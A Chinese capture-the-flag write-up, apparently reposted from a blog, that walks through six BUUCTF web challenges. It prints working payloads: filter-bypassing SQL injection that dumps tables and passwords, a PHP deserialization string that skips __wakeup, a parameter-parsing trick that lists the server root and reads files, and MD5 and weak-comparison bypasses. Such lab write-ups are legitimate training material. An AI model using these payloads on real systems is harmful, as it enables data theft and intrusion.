BUUCTF-WEB(15-20)
[极客大挑衅 2019]BabySQL打开题目就试了试万能密码,是不行的
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212546536-1395175461.png
推测应该做了过滤
我们密码框输入1' 1 or '1'='1试试
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212545397-155758211.png
发现我们的or没了,union,select,where都被过滤了,应该是被更换成空字符,所以我们可以双写绕过
uunionnion sselectelect wwherehere由于这里or被过滤了,我们无法用order用判断字段数,只能union select(以下注入都在密码框举行)
1' uunionnion sselectelect 1,2,3#https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212544415-1605841936.png
爆库名:
1' uunionnion sselectelect 1,2,database()#https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212543628-1702897312.png
爆表名:
1' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'#https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212542700-380697191.png
爆列名:
1' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema='geek'aandnd table_name='b4bsql'#https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212541793-842432177.png
爆数据:
1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql#https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212540847-800850184.png
[极客大挑衅 2019]PHP
打开题目告诉我们网站备份了
然后我们应该dirsearch扫后台,这里可能是因为平台的缘故原由,扫不出来的
备份文件就是 www.zip
我们访问下载,index.php发现了参数select
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212540454-660447891.png
然后在class.php这里看怎么去反序列化
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212539959-541668799.png
我们构造就是
new Name::__construct()->new Name::__destruct()所以我们需要绕过__wakeup()
CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞-CSDN博客
攻击者可以利用这个漏洞来绕过 __wakeup() 函数中的安全检查,从而执行任意代码。攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多。由于 PHP 会忽略多余的属性,攻击者可以绕过 __wakeup() 函数的安全检查,并执行恶意代码。然后我们打开php在线(此处打印两个变量,为了方便比较数目对应的哪个数值)
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212539190-474198032.png
构造链子后因为我们需要绕过__wakeup(),所以我们需要改一下这个数目
给我标志的地方改成三,然后复制URL编码后的序列化的数据。
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212538691-192575762.png
payload:
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7Dhttps://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212538170-952714361.png
BackupFile
就是备份文件,dirsearch扫描
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212537555-81786003.png
发现了index.php.bak,下载
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212537033-2093910697.png
在PHP中:= = 为弱相等,即当整数和字符串范例相比较时。会先将字符串转化为整数然后再举行比较
所以我们payload:
?key=123https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212536466-479426092.png
Easy Calc
参考:
RoarCTF 2019 - Easy Calc - ch0bits - 博客园 (cnblogs.com)
RoarCTF 2019]Easy Calc 详细题解条记 Writeup_scandir被过滤-CSDN博客
PHP字符串解析特性 ($GET/$POST参数绕过)(含例题 buuctf easycalc)_参数解析 绕过-CSDN博客
在源码里面找到了一个文件
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212535881-754609966.png
我们访问一下
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212535310-484405484.png
这里我也不会了就搜了一下题解
检察根目录
?%20num=print_r(scandir(chr(47)));https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212534672-165731670.png
检察flag
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212534023-1169431181.png
[极客大挑衅 2019]BuyFlag
来到买flag的地方,看一下源码
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212533509-111067065.png
我们需要post传参,我burp抓包看一眼
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212532985-1758242443.png
条件就是我需要是cuit的门生,然后才能买,这里我注意到user=0,我们改成1试试,成功了
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212532416-1684592015.png
那我们就差个money还有password
password就用字符串绕过
POST的内容如下:
password=404a&money=1000000000https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212531936-900893287.png
他说钱长度太多了,那我们就科学计数法
password=404a&money=1e9https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212531493-2029289985.png
Easy MD5
参考:
[BJDCTF2020]Easy MD5(详细)-CSDN博客
总结ctf中 MD5 绕过的一些思路_ctf md5-CSDN博客
这里打开题目,就个输入框,啥也没有
我这里也挺傻逼,我抓包也没看到hint,看wp才看到
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212531022-833955611.png
然后意思就是后面需要真值,然后才行
答案就是需要传
ffifdyop然后跳到新界面,然后检察源码,md5弱比较
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212530541-2036606327.png
直接传
a=QNKCDZO&b=240610708又跳了一个界面,代码如下:
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212529994-548796985.png
这次是===是强比较,范例,数值都得比较,那我们就数组绕过
param1[]=1¶m2[]=2https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212529277-202853119.png
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240519212528086-108108265.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]